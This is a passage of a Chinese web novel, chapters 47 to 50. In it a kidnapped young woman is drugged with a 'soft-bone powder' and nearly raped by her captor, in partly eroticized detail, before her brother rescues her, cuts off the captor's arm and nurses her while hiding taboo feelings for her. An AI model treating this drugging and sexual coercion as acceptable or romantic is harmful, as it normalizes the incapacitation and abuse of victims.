可她就这样娇娇地坐在他的床上,亦如从前做过的无数梦 宋承林做梦都不敢相信,有一天他们能如此刻这般亲密。 仅仅是这样看着,有些地方便不受控突然胀痛起来 见他不说话,怀夕的脸色越来越难看。 宋承林犹豫了一下,终于还是点了头,“行,那便明日。” “但,我再提醒你一句。”宋承林脸色骤然阴沉,“若你不想吃亏,就别给我耍什么心眼。宋承云找不到我们的” 宋承林话没说完,怀夕就转身躺了回去,闭上眼,明显不想再理会他。 无非一死,说这些威胁的话有甚用。 “”怀夕一转身,宋承林的目光变得越发阴翳,想到之前看到他们二人那个亲昵的画面,他的手指紧紧攥成拳。 看着眼前小姑娘柔软的背影,他勉强让自己平静下来。 好在,你很快就会是我的了 第47章 第47章极力收敛周身的戾气…… 怀夕琢磨了一个早上,心里有些想法。午膳时,早上的小丫鬟来送饭,怀夕故意留下她说话。 得知此地是罗湖,她有些惊讶。 虽不熟识地理,但哥哥书房里有一副地图,她曾在上面见过这个地名,大致位于洛水以南。 她在心里叹了口气,才几日就跑了这么远,也不知道哥哥什么时候才能追上来。 小丫鬟年方十一,说话时还有些稚气,见怀夕好说话,存着讨好的意思,“娘子不知,您昏迷那晚,公子守了您一夜,奴婢从未见过这般体贴的郎君公子与娘子真是郎才女貌” “”怀夕忍不住翻了个白眼,饭都吃不下了,于是放下筷子。 她发现,眼下除了宋承林,只有这个小丫鬟能出入她这个屋子。也实在没有办法,她只能把希望寄托在这小丫鬟身上。 “小兰,你听我说,其实我不是他的娘子,我是被他拐走的” 待怀夕说完,小丫鬟瞪大了双眼,捂着嘴:“你是说,公子是坏人?” “没错。小兰,你能不能帮帮我,”怀夕摸了摸身上,原先的衣物和钗环都卸了,她走到梳妆台前,把桌上的耳环首饰全抓起来,走回来递到小兰手里,“你偷偷找个人替我去官府传话,找人来救我,好吗?” 小兰越听越害怕,下意识就开始摇头,她不敢,万一公子发现 “你放心,他不会知道的。”怀夕绞尽脑汁,想着说服小兰的法子,“明日,明日我们离开前,我跟他要你的卖身契,放了你。” “你放心,等我回到我哥哥身边,我一定会重谢。” 小兰是穷苦人出身,向来胆小,可本性善良,经不住怀夕的哀求,最后还是点了点头- 怀夕在屋里做了一个下午,等待着小兰的回信,可直到夜幕降临,小艾也没有来 屋里的炭火慢慢熄灭,过了酉时,也没有人来送饭,怀夕心里开始有了不好的猜想。 怀夕走到门口叫了一声,却无人回应,想推开门却发现外头不知何时已经被上了锁。 她回头,看了看东边的窗户,心里暗暗起了一个想法。 可看着身上轻薄的寝衣,又有些犹豫 杀千刀的宋承林,屋内一套衣物都不给她留着。 虽说罗湖不似金陵那般冷,可听小兰说,此处离城里还有几里地,附近没几户人家,自己一身寝衣能跑哪里去 怀夕踌躇了一会,还是打算逃了再说,总好过被宋承林关着。 她搬了个椅子到窗下,小心翼翼地打开窗户。 她推得很小心,但推动间窗台还是发出小小的声响,怀夕屏息一会,竖着耳朵听周围的动静,慢慢地将窗户开得更大些 但,两条腿刚坐到窗台上想往下跳时,一声冷冷的男音打破寂静。 “妹妹,你可真能耐啊。” 怀夕被这突然传来的阴恻恻的声音吓了一跳,稍稍往前探了探身,才发现宋承林不知何时站在回廊的转角处,像恶鬼一样,满眼怒火,正死死地盯着她 阴魂不散,怀夕皱了皱眉,旁若无人地跨回屋内。 然后猛地啪一声,将窗户关上。 很快,门口便是开锁的声音,怀夕眼神亮了亮,忍不住用余光看着门口,想看看小兰有没有可能也在门口。 但宋承林一进来,门外便有人将门拉上,而后,是锁钥的声音 即便他在屋内,也要叫人将房屋落锁 真是个疯子。 宋承林把手里的食盘放到桌上,又走到炭盆前,往炭盆里扔了几块炭。 火苗有一瞬间往上窜,火光下,他的神色很平和。 “过来吃饭。”他坐回桌边,看着仍站在窗边的怀夕,平静地说道。 怀夕连头都不回,只是盯着那泛黄的窗纸看。 自被宋承林挟走后,怀夕心里虽然憎恶此人,但她很少在言语上与宋承林起争执,多是安安静静的。 她知道怎么做对自己来说相对安全,她不想激怒宋承林,想尽量拖延些时间等哥哥来救她。 但她不知道,她那种安静的冷漠,如同一根无形的冰刺,锋利而冰冷,屡屡刺穿宋承林刻意维持的平和。 果然,见怀夕看都不愿看他,宋承林脸上的平和逐渐破碎,但他还是强压着气,又重复一遍:“搜我叫你过来。” 怀夕身姿单薄地站在窗前,炭盆还没旺起来,他甚至能看到她冻得微微发抖。 宋承林气极反笑,自己倒了一杯茶水,缓缓道:“你与那个小丫鬟,叫小兰的。” 说完后,他故意停顿了一会,轻抿一口茶。 见窗前的女子终于愿意转过头来,他才又说道:“可惜了,难得这个丫鬟能入你的眼。” 怀夕知道,她与小兰密谋的事大概是暴露了,她咬了咬唇,想让自己镇定下来。 “不关她的事,你别伤害她。” “你看,你对身边的人永远这么好。”宋承林唇角挂着淡淡的笑意,可那笑意未达眼底,反而透着一股寒意。 见怀夕蹙起眉头,又是那种不理解的眼神,他 的眼底愈发沉得发暗。 “为什么?” “你说,我到底要怎么做?” 到底要怎么做,她才能看到他,接受他。从小到大,软的硬的,他都试了,为什么她什么都不买账。 怀夕确实不理解,她根本不知道他又在说什么疯话,她冷冷地看着他,说道:“你放了我。” “宋承林,你放了我吧,我保证,不会让哥哥追究此事。”怀夕企图宋承林还留有一寸理智或正常的头脑,但显然没有。 宋承林听到怀夕又听到哥哥二字,愤怒地将手中的杯子往前摔。 一地破碎。 “宋承云到底有什么好的?”多年来的嫉妒涌上心口,宋承林提步像怀夕迈来。 怀夕躲避不及,被他逼退,背靠窗户。 宋承林双手撑在她头两边,低吼着问道:“为什么他什么都不用做,你的眼里永远都只有他。” 怀夕被他困在两臂之间,脸上却无畏惧之色,他愈愤怒,怀夕愈平静。 看着怀夕如看跳梁小丑的神情,宋承林脸色逐渐狰狞起来,慢慢地,他嘴角扯出一抹冷笑。 明明是那么温暖生动的一个人,为什么偏偏对他坚硬而冰冷,为什么他每次靠近,得到的只有刺痛的寒意。 他不喜欢她此刻的神情。 他竟然在她这双清澈灵动的眼眸里,看到有如宋承云般疏冷缥缈的眼神。 她身上怎么可以有宋承云的影子。 “我说了,宋承云对你,有不轨之心。”宋承林盯着怀夕的眼眸,企图搅散她眼神中有如实质般缥缈的雾气。 但那双眼眸未曾因为他的话起过一丝波澜。 他不是早就知道了吗,没有人能破坏宋承云在她心中的形象。 浓浓的嫉妒和被忽视感将宋承林的理智燃烧殆尽,他突然疯狂地笑了起来,“你说,若是他看到,你,他最珍贵的妹妹,被我压在身下” 宋承林重重地将怀夕拉到桌前。 “喝。”他指着食盘上那碗黑乎乎的药,眼睛发红,威胁道:”不喝,我就要了那丫鬟的命。” 怀夕嗅觉向来敏锐,她被宋承林喂了几日的软骨散,软骨散的味道她早已熟识。 她愤愤地瞪着宋承林,不肯喝。 “随你。”宋承林说完这话,甩了袖子就要走。 看宋承林煞气十足的模样,怀夕又担心他真的会对小兰动手。 他离开的脚步声一声一声像踩在她的心口上,待听到他带着怒气的声音让门外开门时,怀夕还是把碗端了起来。 “我喝。” 怀夕没有再犹豫,端起来一口闷了。 听到她的声音,宋承林转头,冷冷地看着她喝完。 药效比平日猛了许多,没一会,怀夕连坐都坐不稳,她手紧抠着掌心,但无济于事,很快,眼前的一切都开始旋转摇晃 地上是一地的碎片,看着怀夕马上要倒下,宋承林瞳孔一缩,还是快步过来接住了她。 即便如此,怀夕的手臂还是被碎片拉了一道长长的血痕 手心被锋利的棱角划破,可怀夕还是紧紧握住,拼命想留住几分清明。 “宋承林,送我回去吧。”怀夕缓缓抬着无力的眼皮,声音低到仿佛要消散,“让我回家” 宋承林紧紧皱着眉头,愤恨的目光里带着疯狂的偏执,怀夕的每一句话,都似火上浇油一般。 “等过了今夜,你就彻底是我的了。”宋承林把她放到床上,嘴里喃喃道,落在她脖颈处扣子的手甚至有些颤抖。 烛火微暗,女子无力地瘫在被褥上,鬓发微乱,面色酡红,随着领口的扣子被解开,雪白修长的脖颈毫无遮挡地展现在面前。 宋承林没有再动,只是怔怔地盯着那处雪白,呼吸很快就急促起来。 想了多年的人儿终于被自己压在身下 再解下去,就是蜿蜒细腻的肌肤 只是看着雪白的一段脖颈,宋承林就觉得有一股灭顶的快意直耸天灵盖,眼神忽然就开始迷离起来。 到了这一步,他反而不心急,只想一口,一口,慢慢享受地,将自己的猎物吃进去。 怀夕的意识渐渐开始模糊,手心的碎片慢慢嵌了掌心,鲜红的血流染湿了床单。 可陷入癫狂的宋承林根本没有发现。 看着怀夕满脸的泪水,他愈来愈兴奋,实在无法忍耐胀痛,便径直跪在怀夕脚边,将手放进自己的下摆里 蓝色锦袍很快就深了一片。 宋承林闭着眼,享受着此刻释放的极致快乐。 只是刚刚平复的呼吸,在看到眼前的人儿时,又开始急促起来。 宋承林彻底忍不住了,三两下除了自己的外袍。 就在他要俯下身时,忽然听到外面一阵急促的奔跑声,尖叫声,紧接着就是门砰砰被破开的声音。 宋承林还没来得及反应,正要拎起自己的裤腰带出去看看时,一阵疼痛袭来 鲜血猛低蓬勃喷出,染红了宋承林的眼睛,他在惊痛下被踢飞到一侧,眼前一只见骨的还在流着血的手臂直喇喇地映入眼帘。 他的手 他抬头,终于看清破门而入的人是谁。 宋承云。 该死的宋承云。 宋承云一剑砍掉宋承林的半只手臂后,看都没看他,径直走到床前。 目光在触及到床上的人儿和满床单的血迹时,他眼眸骤然一缩,那双惯常清冷的眸子翻涌着难以掩饰的痛楚。 他解下披风,俯身小心翼翼地将怀夕抱入怀里,用披风把她紧紧包住。 而终于反应过来自己的手被砍断的宋承林在极度崩溃中看到宋承云再一次将怀夕抢走时,忍不住嘶叫了起来。 “宋承云,她是你妹妹!。” 在宋承林的嘶叫声中,宋承云往外走的脚步终是顿了顿,回头看他。还是将头转了过来。 看着怀里的女子轻轻发抖着,宋承云的下颌绷紧,仿佛在极力压抑着什么。他的手掌轻轻托住她的后背,小心翼翼地安抚着,动作却轻柔得仿佛在对待一片羽毛。 “是我。”他在她耳边说。 怕吓到她,他极力收敛周身的戾气。只是眼眸落在宋承林身上时,一向清淡的眉宇如同凝着血煞,仿佛在看什么令人作呕的东西一样。 “那又如何。” “滚。” 第48章 第48章不可言说的心思 怀夕不知道宋承林这次还给自己下了什么药,她全身又是无力又是燥热,甚至还出现了幻觉。 彻底失去意识前,她仿佛看到了哥哥。 她眼睛无力地闭上,可依稀还能感受到有人将自己抱起。 她极力想推拒,可抱着的那人微微收紧,熟悉的清冽声音在耳边响起:“是我。” 淡淡的松木香若有似无地萦绕在鼻翼旁,怀夕莫名地心安,舒服地一声喟叹,放任自己无意识地昏迷过去- 再次恢复意识,耳边又是马车奔行的轱辘声。 怀夕在心底重重叹了一口气,看来,见到哥哥确实是自己的幻觉。 自己仍在宋承林手里 宋承林这次下了更大剂量的软骨散,怀夕虽有了些意识,可连将眼睛睁开的力气都没有。 她怀疑自己又发烧了,身上的燥热一阵一阵地烘烤着她,手心的痛楚隐隐传来,勉强让她不被那股晕眩吞噬。 身子好像被挪动了一下,紧接着是水流碰撞杯壁的声音。 温热的触感,即使她紧抿着,那人还是不厌其烦地用水润着她的唇瓣。 怀夕心里有些厌烦,可一丝力气都使不上 很快,一双微凉的手在她眉间抚了抚,紧接着又是那道熟悉的清冽声音。 “别怕,是我。” 原来是哥哥。 怀夕心里松了口气,紧皱的眉头渐渐松开 马车颠簸,怀夕身上不止一处的伤口,每颠簸一次就皱紧一次眉头。 最后,宋承 云只好在膝上铺上厚厚的被褥,半揽着她,让她睡得安稳些。 而自上了马车后,宋承云的目光没有离开过怀夕。 他半拥着她,仔细地看着她的睡颜,已经不知道几日没有合眼了,他的眼睑下是淡淡的青褐,失而复得的庆幸暂时压下他眸底的凶戾。 他的手轻轻牵过怀夕那只被瓷片扎得快要穿透的手指,眼中尽是自责与心疼 其实宋承林设下的障眼法不算高明,可宋承云怕错过任何一次机会,只能一遍一遍地迈入他设的圈套,几波人马日夜没有停歇过 好在找到她了。 怀里实实在在的温暖让他杂乱了几日的思绪稍稍停歇,他缓缓垂下眼眸- 宋承云并没有急着赶路,到了罗湖城里,先找了个客栈落脚,请了附近的大夫过来看诊。 大夫诊完脉后,神情颇是沉重,对宋承云说道:“姑娘这脉象,举之无力,按之空虚,应是服了什么药物的缘故。” 宋承云救出怀夕时,随从从宋承林的屋子里搜出一装着药粉的葫芦型小瓶子呈给他,听了大夫的话,他将药瓶子拿给大夫,“请大夫看看,这是什么?” 那大夫打开盖子,放在鼻子边闻了闻,又倒出一点点,放在舌尖上辨认味道。 “是软骨散。”大夫把瓶子递还给宋承云,“这物多见于烟花柳巷之地,少量服用能叫女子身体娇软,有些助兴的效用” 大夫点到为止,“可若量用得大了些,就会如同姑娘这般,少说也要昏睡几日” 显然,大夫看出眼前公子眼里的担忧,又解释安抚道:“倒也不算什么毒物,只是让人虚弱几天。老夫为姑娘扎几针,理顺一下气血,再喝几帖药,应能大大疏散药效。只不过姑娘手心手臂还有伤口,恐怕接下来几日会发热,需得仔细照料着” 宋承云点了点头,“多谢大夫。” 虽不知道床上的姑娘到底经历了什么,不过见宋承云器宇不凡,身边还有持械的士兵,料想他不是普通人,所以除了病情,大夫并不曾多打听什么。 “先把伤口重新处理吧。”大夫拿出绷带,药粉,把针袋提前平铺开。 大夫的随从并未得进,所以眼下大夫也只能使唤身边的人。 宋承云本想转头回避,就听到大夫说道,“你过来把她袖口拉高些。” “嗯。” 袖口拉开后,那大夫皱了皱眉,“想来姑娘是用这样的方法来对抗药效” 软骨散素有恶性,任你是什么武功盖世的人,只要服了软骨散,都会变成一只软趴趴的虾 虽然不知道这小姑娘经历了什么,但这大夫多少也佩服这小姑娘的烈性。 宋承云不知道怀夕身上还有这么多深浅不一的伤口目光在触及她伤痕累累的身影时,骤然一缩,瞳孔深处仿佛有什么东西碎裂开来。 怀夕手臂上的伤口有些狰狞,但已经经过了几日,伤口上结了痂,大夫换了药粉,重新包扎好。 但手心那道伤口还很新,又深的见骨,皮肉紧紧沾在纱布上,大夫轻轻一碰,睡梦中的怀夕疼得直皱眉。 宋承云竭力让自己平稳,他的手指轻轻拂过她额角疼出的汗水,不厌其烦地在怀夕耳边哄着她。 可他性子方正,说来说去都是那几句。 “夕儿别怕。” “夕儿乖。” “很快就好了。” 而怀夕每呜咽一次,他的胸膛就颤痛一次 才华艳绝的状元郎从来不知道自己的语句是这般匮乏无力- 怀夕这一睡,就整整睡了两个日夜,期间不吃不喝,连宋承云一小口一小口强喂下去的药,也吐了大半出来。 大夫每日来几次,最后一次来,说脉象稳了许多,但宋承云紧蹙地眉头还是松动不下来。 大夫走后,他在床沿坐下。 小小的人儿裹在厚厚的被褥里,雪肌黑发,从前粉嫩活力的脸庞如今一片苍白,连睡着都要轻轻皱着眉。 从来静不下来的性子,如今却能几日几夜躺着不动。 宋承云都能想象她醒来不满埋怨的神态 怀夕睡得冗长,却极是不安,中间发了几次热,呓语不断。 宋承云只能拉着她未受伤的手一遍一遍安抚。 煎药,喂药,煮水所有他都亲力亲为。 宋承云从来没有想到自己有一日会失去怀夕,如今失而复得,却更是战战兢兢。 他自小读书,无一师傅不夸赞他灵根天成。他读金刚经,里头道:凡所有相,皆是虚妄。若见诸相非相,则见如来。 他不过是一直在自欺欺人罢了。 很早之前,他便察觉到自己对怀夕异于兄妹的情意了。 王老太师常常夸他端正持重,可谁知道,他心里藏了多么荒唐背德的想法。 一开始,只是因她的靠近而窃喜。 后来,看到她对别的男子笑,他便忍不住心头的怨怒。 可妹妹不是他的附属品,她是活生生一个人,她有权利决定自己喜欢什么样的男子,过什么样的日子。 对谁笑,为谁哭,统统不是他能干涉的。 她将来会嫁给一个她心爱的男子,若是她愿意生孩子,那她的孩子或许也会承袭她同样动人的眼眸。 他只是哥哥。 只能是哥哥。 震惊,抗拒,无奈,接受 他以为他可以忍受的。 他向来的修身法则说到底,就是得失相伴,顺其自然。 可是没想到,自己有一日这般执着于生死,会颤抖地,去探一个人的鼻息 所有的坚持和告诫,所有不可言说的心思,只要靠近她,全部不适用,通通无所遁形- 天光再次黯淡,浓稠的月影爬上树梢。 高热退了之后,怀夕又睡了半日,在三更的梆声刚刚响过后,她的眼眸终于睁开一丝细细的缝隙。 屋内有淡淡的光亮,足够她看清床沿闭着眼眸假寐的人。 “哥哥。”怀夕的声音沙哑地仿佛磨过粗粝的沙。 一声低低的呼喊,闭眼假寐的宋承云立马睁开了眼睛,俯身来看她。 软骨散的药效褪了大半,烧也退了,可因多日未进食,人还是有气无力,但怀夕已经感觉整个人无比地精神。 精神一来,肚子便开始呱呱叫 “坐起来?”宋承云俯身过来,声音很是轻柔。 怀夕点头。 宋承云便弯下腰,将手送到她颈下,另一只手搂住她的肩,动作轻柔将她扶坐起来。 “先喝点水润润嗓子。”宋承云显然也听到她肚子的声响,“等会再喝点粥水” “嗯。” 怀夕不知道三更半夜,哥哥是去哪里端了一碗粥水回来。 总之,粥水一口一口被哥哥喂进她的嘴里,胃立刻暖呼呼的。 五谷为气之本,粥水一下肚,怀夕感觉自己说话都多了两分力气。 “这是哪?”怀夕眼睛在屋里转了一圈,很是简陋的摆设,她吞下一口粥,问道。 “是罗湖城里的一个客栈,你睡了几日”宋承云把碗放回桌上,解释道。 睡了几日? 难怪怀夕觉得自己此刻精神无比饱满 那哥哥岂不是这几日没点卯 看到怀夕眼里的焦急,宋承云立刻有所领会一般,“无妨,我是奉太子之命出的城” 具体是什么命,他没有继续说。 太子当然不是无故 伸以援手,宋承云很明白他想要什么。 此番打着太子的旗号办事,自然会被归派。贤臣择主而事,立场本来就只有一个,太子本就是名正言顺的未来之主,即使没有此事 但这些无需同怀夕点明。 待怀夕摇头不欲再吃,宋承云便把碗收走,又拿来一块热毛巾,替她擦洗脸颊。 他的动作不算熟稔,怀夕微仰着头,皱着脸任他擦拭。 不久后,门口有人轻轻敲了下门。 宋承云走过去打开门,又端了一碗药进来。 热气氤氲的药碗,草药味很快弥漫开来。 怀夕忽然想起被宋承林挟走时喝下的一碗碗药,还有最后那碗 虽有些神志不清,可她依稀记得他癫狂的模样 待宋承云坐到床沿,欲喂她喝药时,她没忍住,干呕了一声。 宋承云也不逼她,不知从哪里掏出一包裹着糖粉的梅饼,捡出一枚,喂到怀夕嘴边。 酸酸甜甜的,怀夕的心思一下被转移。 糖粉包裹着酸涩的梅子,酸酸甜甜让怀夕忍不住眯起了眸子。 见宋承云一直盯着她,怀夕以为他也想吃,,从他掌心那包梅饼里捡了一颗,作势要喂他。 可刚抬起手,又想起哥哥不喜欢这样的行为,刚想作罢。 梅饼还没放下,宋承云的脸就送过来,蹭过她手指尖 怀夕看着哥哥把她指间的梅饼咬走虽然没碰到她,但她的手还是忍不住微微颤了颤。 第49章 第49章无法自控的悸动让他有些…… 看着宋承云和她一样被酸得皱起的眉宇,怀夕忍不住笑出声。 待宋承云再把药端起来要喂她时,她便没那么抗拒了。 药本来就苦,宋承云还喂得慢,怀夕索性拿了过来,一口闷了下去。 眉头紧皱时,嘴边又被塞了一块梅饼,怀夕张开嘴含住,重重抿着,让糖粉迅速将苦味掩下。 见怀夕精神尚好,宋承云陪她说了一会话。 只是从怀夕醒来之后,两人不知有意还是无意,都没提到宋承林。 客船上的人已经被截住,是宋承林的小厮和小艾。 得知小艾没什么事,已经被安排坐船回金陵,怀夕总算也放心下来。 可她突然又想到另一个丫鬟,小兰。 不知道宋承林有没有为难她,毕竟曾经答应要将卖身契还给她,怀夕犹豫了一下,还是问道:“哥哥找到我时,可有见到一穿着蓝衫的小丫鬟,约莫十一二岁。” “嗯。都放了。”宋承云眼睑垂下,看不清眸底神色, 怀夕却敏感地察觉哥哥的情绪。 她挪了挪姿势,半跪着将身子歪过来,抬起未受伤的手,抱住宋承云。 “是我自己防备心不足,不是哥哥的错。”怀夕的手在他肩胛处轻轻拍了拍,带着安抚的意味,“哥哥不要内疚” 宋承云的脸淹没在阴影中,只能隐约看到他绷得紧紧的脊背。 宋承云接触的女子不多,可也知道,任何女子,遭遇这种事情该有多害怕,多无助。 怎么不是他的错? 明明该委屈责怪他的人,此刻却一遍一遍地安抚他。像是寒潭被投入了一块巨石,宋承云心头激起层层涟漪,小姑娘言语越是轻软,越是装作没事的样子,他心头就闷痛得越厉害。 但他并不拂姑娘的好意,在心里重重地叹了一口气,他伸手,扣住那纤细的腰身,将她轻轻拥入怀中, 怀夕能感受到哥哥似乎很伤心,只好回抱地更紧,她不要哥哥自责,也不要哥哥难过- 翌日一早,马车继续往北走,两个日夜后,终于回到他们的宅子。 安置好怀夕后,宋承云就去了一趟太子府,翌日便正常回去上值。 除了亲近之人,无人知道怀夕在金陵城消失了几日。 一切仿佛都没有变化,只是怀夕经此一遭,受了些惊吓,明里暗里,好似更有些依赖宋承云了。 回来的第二日,夏敏便带着王郁心上门,其中缘由夏敏清楚,可王郁心不清楚,看到怀夕包裹得厚厚的手掌,惊讶地追问她怎么受的伤。 怀夕哽了哽,不知道该怎么解释,好在夏敏故意打岔,王郁心的注意力立马又转到屋里的小猫奴上。 夏敏送了很多伤药,见怀夕精神还不是很好,也没有多呆,嘱咐她好好养身子,等天暖些教她打马球。 怀夕乖乖应是。 来回不过十日,金陵已经下过几场大雪,院子里积了厚厚一层积雪。 怀夕坐在罗汉床上,透过雕花窗看到屋外梨枝被厚厚的白雪压弯了枝头,她百无聊赖地抚着手里柔软的小猫奴。 雪下得太大,官河比平常更早地结冻,怀夕刚从书信得知原定今日到达金陵的小艾因河道结冰半道下船,改作陆路上京,也不知道还有几日才能回到。 哥哥当值,小艾不在,琥珀和翡翠向来拘束,怀夕一个人呆在屋内,无聊得有些发慌。 偏偏右手又动弹不得,连下棋翻书都不趁手 怀夕索性把身子往下沉,把毯子拉高,搂着小猫奴准备再眯会 不料一眯就又眯了大半个时辰,待怀夕迷迷糊糊睁开眼时,宋承不知何时进屋,已经坐在罗汉床的另一侧了。 见她醒来,他把手里的书放下,走过来,隔着毯子自然地将她抱揽坐起,又在身后替她垫了个枕头。 除了手还不太方便,身子气力已经恢复,哥哥再如同照料小孩一般照料她,怀夕不免也有些羞赧。 待宋承云回到位上,怀夕接过他递过来的茶水,抿了一口后道:“我已经好许多了,哥哥不用这般小心。” 宋承云淡淡应了声,“嗯。” 因着怀夕身子的缘故,这几日,膳食并没有摆在偏厅,而是在怀夕屋子里的外厅用。 虽有些不合常理,不过侍候的仆侍倒也没有多想,只觉得宋编修疼宠妹妹。 平日用过膳食后,宋承云会在这里留一阵,听怀夕说一会话,或应她的要求,给她念书,待她怀夕准备休息才回书房处理自己的事。 只是今日有件事比较紧急,宋承云用过膳,就欲回书房。 怀夕盼了一天,没想到哥哥就陪他这么一小会就要走。虽然心底有些失落,但也懂事地没有多说什么,只是在宋承云转身后压了压嘴角。 宋承云仿佛身后长了眼睛一般,临出门前回头来看她。 “一会过来穿得暖和些。” 怀夕眼睛立马又亮了起来,立刻吩咐琥珀替自己梳洗添衣- 怀夕推开门进书房的时候,宋承云头抬都没抬,伏案不知在认真写着什么。 琥珀在门外已经帮她把身上斗篷上薄薄的风雪拍干净,怀夕也不去扰他,自己解了斗篷,放在挂衣的地方,自己往内室走去。 因是宋承云特意吩咐,内室放了个烧得旺的炭盆,明显比外间暖和些。 有一阵没来这里,里头的装饰还是一成不变,只是怀夕专属的桌子上新插着两株红梅,榻上多了一层毛绒的薄毯。 毯上还放着她上次未看完的杂记。 怀夕不禁轻笑了一声,还是哥哥了解自己,一切都那样刚刚好。 怀夕轻手熟脚,褪下鞋子,半靠在软榻上,翻着那本未看完的书。 大概又过了半个时辰,宋承云终于把笔放回到桌面,他静坐了一瞬,思绪慢慢回笼。 窗外,月色如水,洒在压满雪花的枯枝,偶尔有雪落的声音,更衬得屋内宁静。 有书页翻动的声音轻轻响起 宋承云站起身,走到内室。 小姑娘将书册盖在脸上,他都不知,她还将小猫奴带过来。此刻小猫奴压在她臂上,两者皆睡得香甜。 宋承云没走进去,轻轻开门走了出去。 很快,正屋内的净房传来隐 约的水声。 大约两刻钟后,宋承云又回到书房。 宁静的夜,屋外枝丫被雪压折,发出轻闷的折断声。小猫奴敏锐,听到声音翻了个身,伸着懒腰,把毛茸茸的小脚踢向怀夕下颌。 怀夕慢慢转醒,把身子撑了撑,稍坐了起来,又把翻得四仰八叉的小猫重新搂到怀里。 看到宋承云坐在她的书桌看书,她困倦道:“哥哥忙完了?” 她眸中还带着几分朦胧的睡意,像是晨雾未散的湖面,透着淡淡的水雾。说话时,她手指轻轻揉了揉眼角,指尖微微蜷起,动作与她怀中的小猫奴如出一辙。 宋承云目光却一直落在她怀里的小猫奴身上。 小猫奴不仅耳朵敏锐,五感也皆灵敏,似乎能感觉到宋承云若有似无地敌意,往怀夕怀里钻得更紧。 怀夕喜欢它的亲近,去抓挠它头顶,小猫享受地发出呜呜声,又来回舔怀夕的手心 宋承云眉头微微蹙起,手中的书卷不自觉捏紧了几分。 他直起身,几步走近,单手把怀夕怀里的小猫提到地上。“手还没好,不要抱重物。”他神情平静解释道自己的动作。 小猫奴出生还不到两月,不算重物吧 怀夕看着在榻下焦急抓挠,显然很想回到她怀中的小猫奴,心有不忍,忍不住替它辩白:“年年还那么小,它很乖的” 宋承云不知道有没有听到,他转身拉了个绣凳放在她身侧坐下。 待他坐定,怀夕刚想召唤小猫奴跳上床来,宋承云却对她扬了扬她还没看完的杂记,轻声问:“听么?” “” 听。 当然听。 哥哥声音清冽,气息顺畅,念起书来别有一番风味。只要他有空,怀夕常常让他给她念书。 但宋承云不知道,怀夕有时看似听得认真,其实根本没把注意力放在他念的内容,而是沉醉在他的声音里 宋承云做什么事,向来都十分认真,只是念到有些好笑的地方,他的语调仍十分平淡。 不过怀夕这次是认真在听着的,虽然哥哥讲得不那么绘声绘色,怀夕还是笑出了声。 听到她的笑声,宋承云抬眸看她,眼中带了一丝疑惑。 怀夕也不解释,伸手把宋承云手里的书抽走,“不听了。” 她为他递上一杯茶水,“哥哥声音都涩了,快些润润喉。” “嗯。” 怀夕把身上的薄毯拉开,撑着手想要起来时,宋承云另一只手忽地伸过来将她按住。 怀夕不解看他。 “冷。”他解释,“想拿什么?” 怀夕有些不好意思,咽了咽口水,“我饿了。” 回家几天,每日都是清淡的粥水,精气神恢复后,怀夕哪里还吃得下这些,她向来是无肉不欢的。 但软骨散的药效虽解了,怀夕手上还有伤口,大夫吩咐还是要尽量清淡饮食。 宋承云瞥过她包得厚厚的手掌,又看她殷切的眼神,终究不忍。 “想吃什么?” “刘婆子下午做了腌肘子,我想吃腌肘子!”怀夕眼神立刻就亮了,若能再温上一壶糯米酒,那便更好了! 不料宋承云听完,却摇头:“夜深了,吃肘子不好消化,晚些闹肚疼。”他替她决定,“今日我让松毫带回来的核桃酥还有么?” 怀夕扁了扁嘴,点头。 虽有核桃酥也是她喜欢的,可核桃酥哪有肘子香 她都几日没有大口吃肉了 话虽这样说,但最后捧着核桃酥吃的时候,怀夕还是十分满足。 宋承云怕怀夕积食,待她拿起第三块,就把碟子挪开了。 怀夕基本也填饱了肚子,也不在意,拿着手里最后一块酥一口一口慢慢啃咬。 “哥哥不吃么?”怀夕舔了舔唇瓣,将酥碎卷了进去。 宋承云摇头,垂眸看地上缩着白色小手套假寐的小猫。 “水。”怀夕对着茶杯努了努嘴。 宋承云替她将茶杯拿过来,怀夕两只手都沾了酥碎,便只将头凑了过去。 桌上的烛火随着怀夕的动作突然摇曳,映在她的脸庞上,她的如玉肌肤在光影交错中透出淡淡的光泽。 突然靠近的脸庞,宋承云短暂地怔愣一下,而后在怀夕不满的皱眉中手腕微压,微微倾斜茶杯。 因着喂水的动作,宋承云不得不将目光落在怀夕脸上。 烛光在她的微垂的眼睫下跳跃,投下细密的阴影,鼻梁秀挺,唇色如樱 喝完后,女子仰起头,毫不吝啬她清灵的笑容。 被水浸染过的两片嫣红唇瓣晶莹剔透,笑起来时能看到藏在里头的几颗贝齿,配上两颊浅浅的小梨涡,一副天真娇俏的模样 宋承云的目光不由自主地追随着她的身影,却在与她视线相触的瞬间,慌忙掩下眼眸。 收回手杯的指尖微微发颤,心底那股无法自控的悸动让他有些无所适从。 第50章 第50章他做任何事情向来都很认…… 许是最近一直吃的少,刚喝下半杯水,肚子忽地就胀了起来,怀夕只好坐挺起来。 手里的酥才咬了几口,扔掉又浪费,怀夕只好问:“哥哥吃吗?” 若是吃的话,把她咬的位置掰掉,还有一大半。 见宋承云点头,怀夕便欲掰掉那块位置。 没想到宋承云直接伸手将她手上的酥拿走,就着另一块没吃过的地方,咬了一口。 “” 怀夕有些惊讶,不过想了想,也行,咬几口不要了好过整块扔掉。 手上还沾着碎,另一只手又不方便动作 怀夕就那样干抬着手,左右看看周围有没有帕子。 小艾不在里面,还是有些不方便 宋承云虽没看她,但许是余光略到她的动作,手上的核桃酥只咬了一口,便放到一旁,从身上拿出一条帕子,将怀夕的手轻拉过来,仔细地擦拭。 他做任何事情向来都很认真。 擦手亦是,不放过任何一处空隙。 怀夕盖着毯子,手是温热的。 而哥哥沐浴后穿的却有些单薄,手是微凉的。 怀夕看着哥哥隔着帕子轻柔而专注地为自己擦拭手指,他的手比她大很多,干净而修长 哥哥的手并没有触碰到她的,但隔着帕子相叠时,怀夕的心突然跳得有些快。 明明这几日哥哥都是这样照顾她的,但不知怎地,怀夕忽然有些不自在。 只是她刚想将手抽走,哥哥就已将她的手擦净送回薄毯下。 “夜深了,回去睡吧。”宋承云起身,去取她的斗篷。 薄毯下的手微凉再次转暖,带着些微微的麻感 怀夕无意识地捏了捏手,乖巧应道:“好。那哥哥也早些歇息。”- 院里的积雪被扫开,很快又落了厚厚一层雪。 小艾不在,琥珀和翡翠又还有些拘束,怀夕在屋内待了几日,很快就待不住。她让琥珀将她的斗篷取来,说想去院子里垒雪人。 